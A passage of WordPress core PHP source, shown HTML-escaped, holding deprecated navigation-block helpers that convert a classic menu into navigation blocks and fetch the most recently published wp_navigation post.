		$kind             = null !== $menu_item-&gt;type ? str_replace( &#039;_&#039;, &#039;-&#039;, $menu_item-&gt;type ) : &#039;custom&#039;;

		$block = array(
			&#039;blockName&#039; =&gt; isset( $menu_items_by_parent_id[ $menu_item-&gt;ID ] ) ? &#039;core/navigation-submenu&#039; : &#039;core/navigation-link&#039;,
			&#039;attrs&#039;     =&gt; array(
				&#039;className&#039;     =&gt; $class_name,
				&#039;description&#039;   =&gt; $menu_item-&gt;description,
				&#039;id&#039;            =&gt; $id,
				&#039;kind&#039;          =&gt; $kind,
				&#039;label&#039;         =&gt; $menu_item-&gt;title,
				&#039;opensInNewTab&#039; =&gt; $opens_in_new_tab,
				&#039;rel&#039;           =&gt; $rel,
				&#039;title&#039;         =&gt; $menu_item-&gt;attr_title,
				&#039;type&#039;          =&gt; $menu_item-&gt;object,
				&#039;url&#039;           =&gt; $menu_item-&gt;url,
			),
		);

		$block[&#039;innerBlocks&#039;]  = isset( $menu_items_by_parent_id[ $menu_item-&gt;ID ] )
			? block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[ $menu_item-&gt;ID ], $menu_items_by_parent_id )
			: array();
		$block[&#039;innerContent&#039;] = array_map( &#039;serialize_block&#039;, $block[&#039;innerBlocks&#039;] );

		$blocks[] = $block;
	}

	return $blocks;
}

/**
 * Get the classic navigation menu to use as a fallback.
 *
 * @since 6.2.0
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback() instead.
 *
 * @return object WP_Term The classic navigation.
 */
function block_core_navigation_get_classic_menu_fallback() {

	_deprecated_function( __FUNCTION__, &#039;6.3.0&#039;, &#039;WP_Navigation_Fallback::get_classic_menu_fallback&#039; );

	$classic_nav_menus = wp_get_nav_menus();

	// If menus exist.
	if ( $classic_nav_menus &amp;&amp; ! is_wp_error( $classic_nav_menus ) ) {
		// Handles simple use case where user has a classic menu and switches to a block theme.

		// Returns the menu assigned to location `primary`.
		$locations = get_nav_menu_locations();
		if ( isset( $locations[&#039;primary&#039;] ) ) {
			$primary_menu = wp_get_nav_menu_object( $locations[&#039;primary&#039;] );
			if ( $primary_menu ) {
				return $primary_menu;
			}
		}

		// Returns a menu if `primary` is its slug.
		foreach ( $classic_nav_menus as $classic_nav_menu ) {
			if ( &#039;primary&#039; === $classic_nav_menu-&gt;slug ) {
				return $classic_nav_menu;
			}
		}

		// Otherwise return the most recently created classic menu.
		usort(
			$classic_nav_menus,
			static function ( $a, $b ) {
				return $b-&gt;term_id - $a-&gt;term_id;
			}
		);
		return $classic_nav_menus[0];
	}
}

/**
 * Converts a classic navigation to blocks.
 *
 * @since 6.2.0
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback_blocks() instead.
 *
 * @param  object $classic_nav_menu WP_Term The classic navigation object to convert.
 * @return array the normalized parsed blocks.
 */
function block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu ) {

	_deprecated_function( __FUNCTION__, &#039;6.3.0&#039;, &#039;WP_Navigation_Fallback::get_classic_menu_fallback_blocks&#039; );

	// BEGIN: Code that already exists in wp_nav_menu().
	$menu_items = wp_get_nav_menu_items( $classic_nav_menu-&gt;term_id, array( &#039;update_post_term_cache&#039; =&gt; false ) );

	// Set up the $menu_item variables.
	_wp_menu_item_classes_by_context( $menu_items );

	$sorted_menu_items = array();
	foreach ( (array) $menu_items as $menu_item ) {
		$sorted_menu_items[ $menu_item-&gt;menu_order ] = $menu_item;
	}

	unset( $menu_items, $menu_item );

	// END: Code that already exists in wp_nav_menu().

	$menu_items_by_parent_id = array();
	foreach ( $sorted_menu_items as $menu_item ) {
		$menu_items_by_parent_id[ $menu_item-&gt;menu_item_parent ][] = $menu_item;
	}

	$inner_blocks = block_core_navigation_parse_blocks_from_menu_items(
		$menu_items_by_parent_id[0] ?? array(),
		$menu_items_by_parent_id
	);

	return serialize_blocks( $inner_blocks );
}

/**
 * If there&#039;s a classic menu then use it as a fallback.
 *
 * @since 6.2.0
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::create_classic_menu_fallback() instead.
 *
 * @return array the normalized parsed blocks.
 */
function block_core_navigation_maybe_use_classic_menu_fallback() {

	_deprecated_function( __FUNCTION__, &#039;6.3.0&#039;, &#039;WP_Navigation_Fallback::create_classic_menu_fallback&#039; );

	// See if we have a classic menu.
	$classic_nav_menu = block_core_navigation_get_classic_menu_fallback();

	if ( ! $classic_nav_menu ) {
		return;
	}

	// If we have a classic menu then convert it to blocks.
	$classic_nav_menu_blocks = block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu );

	if ( empty( $classic_nav_menu_blocks ) ) {
		return;
	}

	// Create a new navigation menu from the classic menu.
	$wp_insert_post_result = wp_insert_post(
		array(
			&#039;post_content&#039; =&gt; $classic_nav_menu_blocks,
			&#039;post_title&#039;   =&gt; $classic_nav_menu-&gt;name,
			&#039;post_name&#039;    =&gt; $classic_nav_menu-&gt;slug,
			&#039;post_status&#039;  =&gt; &#039;publish&#039;,
			&#039;post_type&#039;    =&gt; &#039;wp_navigation&#039;,
		),
		true // So that we can check whether the result is an error.
	);

	if ( is_wp_error( $wp_insert_post_result ) ) {
		return;
	}

	// Fetch the most recently published navigation which will be the classic one created above.
	return block_core_navigation_get_most_recently_published_navigation();
}

/**
 * Finds the most recently published `wp_navigation` Post.
 *
 * @since 6.1.0
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::get_most_recently_published_navigation() instead.
 *
 * @return WP_Post|null the first non-empty Navigation or null.
 */
function block_core_navigation_get_most_recently_published_navigation() {

	_deprecated_function( __FUNCTION__, &#039;6.3.0&#039;, &#039;WP_Navigation_Fallback::get_most_recently_published_navigation&#039; );

	// Default to the most recently created menu.
	$parsed_args = array(
		&#039;post_type&#039;              =&gt; &#039;wp_navigation&#039;,
		&#039;no_found_rows&#039;          =&gt; true,
		&#039;update_post_meta_cache&#039; =&gt; false,
		&#039;update_post_term_cache&#039; =&gt; false,
		&#039;order&#039;                  =&gt; &#039;DESC&#039;,
		&#039;orderby&#039;                =&gt; &#039;date&#039;,
		&#039;post_status&#039;            =&gt; &#039;publish&#039;,
		&#039;posts_per_page&#039;         =&gt; 1, // get only the most recent.
	);

	$navigation_post = new WP_Query( $parsed_args );
	if ( count( $navigation_post-&gt;posts ) &gt; 0 ) {
		return $navigation_post-&gt;posts[0];
	}

	return null;
}
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